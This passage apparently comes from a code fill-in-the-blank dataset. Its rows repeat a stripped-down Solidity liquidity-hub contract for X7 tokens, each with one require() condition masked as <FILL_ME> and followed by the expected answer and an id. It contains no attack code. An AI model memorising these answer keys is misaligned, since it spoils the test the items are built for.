swapping = false;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
}
| excludedFees[from]||excludedFees[to],"Trading is not active." | 205,419 | excludedFees[from]||excludedFees[to] |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
x7liquidityhub.sol
*/
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address owner_) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7Token is IERC20 {
function setAMM(address, bool) external;
function setOffRampPair(address) external;
function startTrading() external;
}
contract X7LiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router02 public immutable router;
address public immutable x7m105;
address public immutable devWallet = address(0x7000a09c425ABf5173FF458dF1370C25d1C58105);
bool public launched = false;
bool public X7001PairsCreated = false;
bool public X7002PairsCreated = false;
bool public X7003PairsCreated = false;
bool public X7004PairsCreated = false;
uint256 public devPercent = 20;
uint256 public liquidityPercent = 40;
uint256 public x7m105liquidityPercent = 40;
uint256 public initialTokensPerPair = 20000000 * 10**18;
IERC20 public leastLiquidToken;
uint256 public leastLiquidTokenWETHBalance = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
mapping(address => address) public nativeTokenPairs;
mapping(address => mapping(address => address)) public swapPairs;
constructor(address routerAddress, address x7m105_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
event FeesProcessed(
address indexed liquidationToken,
address indexed liquidityTarget,
uint256 liquidationAmount,
uint256 liquidityETH,
uint256 devFee,
uint256 x7m105LiquidityETH
);
receive() external payable {}
function processFees(address tokenAddress) external {
}
function initiateLaunch() external payable onlyOwner {
}
function createX7001Pairs() external onlyOwner {
require(<FILL_ME>)
X7001PairsCreated = true;
address x7001 = address(0x7001629B8BF9A5D5F204B6d464a06f506fBFA105);
address x7002 = address(0x70021e5edA64e68F035356Ea3DCe14ef87B6F105);
address x7003 = address(0x70036Ddf2F2850f6d1B9D78D652776A0d1caB105);
address x7004 = address(0x70041dB5aCDf2F8aa648A000FA4A87067AbAE105);
address x7005 = address(0x7005D9011F4275747D5cb38bC3deB0C46EdbD105);
createTokenPair(x7001, x7002);
createTokenPair(x7001, x7003);
createTokenPair(x7001, x7004);
createTokenPair(x7001, x7005);
}
function createX7002Pairs() external onlyOwner {
}
function createX7003Pairs() external onlyOwner {
}
function createX7004Pairs() external onlyOwner {
}
function createETHPair(address tokenAddress, uint256 ethToAdd) internal {
}
function createTokenPair(address tokenAddress, address otherTokenAddress) internal {
}
function addLiquidityETH(address tokenAddress, uint256 tokenAmount, uint256 ethAmount) internal {
}
function addLiquidity(address tokenAAddress, uint256 tokenAAmount, address tokenBAddress, uint256 tokenBAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(address tokenAddress, uint256 ethAmount) internal {
}
}
| !X7001PairsCreated | 205,504 | !X7001PairsCreated |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
x7liquidityhub.sol
*/
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address owner_) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7Token is IERC20 {
function setAMM(address, bool) external;
function setOffRampPair(address) external;
function startTrading() external;
}
contract X7LiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router02 public immutable router;
address public immutable x7m105;
address public immutable devWallet = address(0x7000a09c425ABf5173FF458dF1370C25d1C58105);
bool public launched = false;
bool public X7001PairsCreated = false;
bool public X7002PairsCreated = false;
bool public X7003PairsCreated = false;
bool public X7004PairsCreated = false;
uint256 public devPercent = 20;
uint256 public liquidityPercent = 40;
uint256 public x7m105liquidityPercent = 40;
uint256 public initialTokensPerPair = 20000000 * 10**18;
IERC20 public leastLiquidToken;
uint256 public leastLiquidTokenWETHBalance = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
mapping(address => address) public nativeTokenPairs;
mapping(address => mapping(address => address)) public swapPairs;
constructor(address routerAddress, address x7m105_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
event FeesProcessed(
address indexed liquidationToken,
address indexed liquidityTarget,
uint256 liquidationAmount,
uint256 liquidityETH,
uint256 devFee,
uint256 x7m105LiquidityETH
);
receive() external payable {}
function processFees(address tokenAddress) external {
}
function initiateLaunch() external payable onlyOwner {
}
function createX7001Pairs() external onlyOwner {
}
function createX7002Pairs() external onlyOwner {
require(<FILL_ME>)
X7002PairsCreated = true;
address x7002 = address(0x70021e5edA64e68F035356Ea3DCe14ef87B6F105);
address x7003 = address(0x70036Ddf2F2850f6d1B9D78D652776A0d1caB105);
address x7004 = address(0x70041dB5aCDf2F8aa648A000FA4A87067AbAE105);
address x7005 = address(0x7005D9011F4275747D5cb38bC3deB0C46EdbD105);
createTokenPair(x7002, x7003);
createTokenPair(x7002, x7004);
createTokenPair(x7002, x7005);
}
function createX7003Pairs() external onlyOwner {
}
function createX7004Pairs() external onlyOwner {
}
function createETHPair(address tokenAddress, uint256 ethToAdd) internal {
}
function createTokenPair(address tokenAddress, address otherTokenAddress) internal {
}
function addLiquidityETH(address tokenAddress, uint256 tokenAmount, uint256 ethAmount) internal {
}
function addLiquidity(address tokenAAddress, uint256 tokenAAmount, address tokenBAddress, uint256 tokenBAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(address tokenAddress, uint256 ethAmount) internal {
}
}
| !X7002PairsCreated | 205,504 | !X7002PairsCreated |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
x7liquidityhub.sol
*/
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address owner_) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7Token is IERC20 {
function setAMM(address, bool) external;
function setOffRampPair(address) external;
function startTrading() external;
}
contract X7LiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router02 public immutable router;
address public immutable x7m105;
address public immutable devWallet = address(0x7000a09c425ABf5173FF458dF1370C25d1C58105);
bool public launched = false;
bool public X7001PairsCreated = false;
bool public X7002PairsCreated = false;
bool public X7003PairsCreated = false;
bool public X7004PairsCreated = false;
uint256 public devPercent = 20;
uint256 public liquidityPercent = 40;
uint256 public x7m105liquidityPercent = 40;
uint256 public initialTokensPerPair = 20000000 * 10**18;
IERC20 public leastLiquidToken;
uint256 public leastLiquidTokenWETHBalance = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
mapping(address => address) public nativeTokenPairs;
mapping(address => mapping(address => address)) public swapPairs;
constructor(address routerAddress, address x7m105_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
event FeesProcessed(
address indexed liquidationToken,
address indexed liquidityTarget,
uint256 liquidationAmount,
uint256 liquidityETH,
uint256 devFee,
uint256 x7m105LiquidityETH
);
receive() external payable {}
function processFees(address tokenAddress) external {
}
function initiateLaunch() external payable onlyOwner {
}
function createX7001Pairs() external onlyOwner {
}
function createX7002Pairs() external onlyOwner {
}
function createX7003Pairs() external onlyOwner {
require(<FILL_ME>)
X7003PairsCreated = true;
address x7003 = address(0x70036Ddf2F2850f6d1B9D78D652776A0d1caB105);
address x7004 = address(0x70041dB5aCDf2F8aa648A000FA4A87067AbAE105);
address x7005 = address(0x7005D9011F4275747D5cb38bC3deB0C46EdbD105);
createTokenPair(x7003, x7004);
createTokenPair(x7003, x7005);
}
function createX7004Pairs() external onlyOwner {
}
function createETHPair(address tokenAddress, uint256 ethToAdd) internal {
}
function createTokenPair(address tokenAddress, address otherTokenAddress) internal {
}
function addLiquidityETH(address tokenAddress, uint256 tokenAmount, uint256 ethAmount) internal {
}
function addLiquidity(address tokenAAddress, uint256 tokenAAmount, address tokenBAddress, uint256 tokenBAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(address tokenAddress, uint256 ethAmount) internal {
}
}
| !X7003PairsCreated | 205,504 | !X7003PairsCreated |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
x7liquidityhub.sol
*/
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
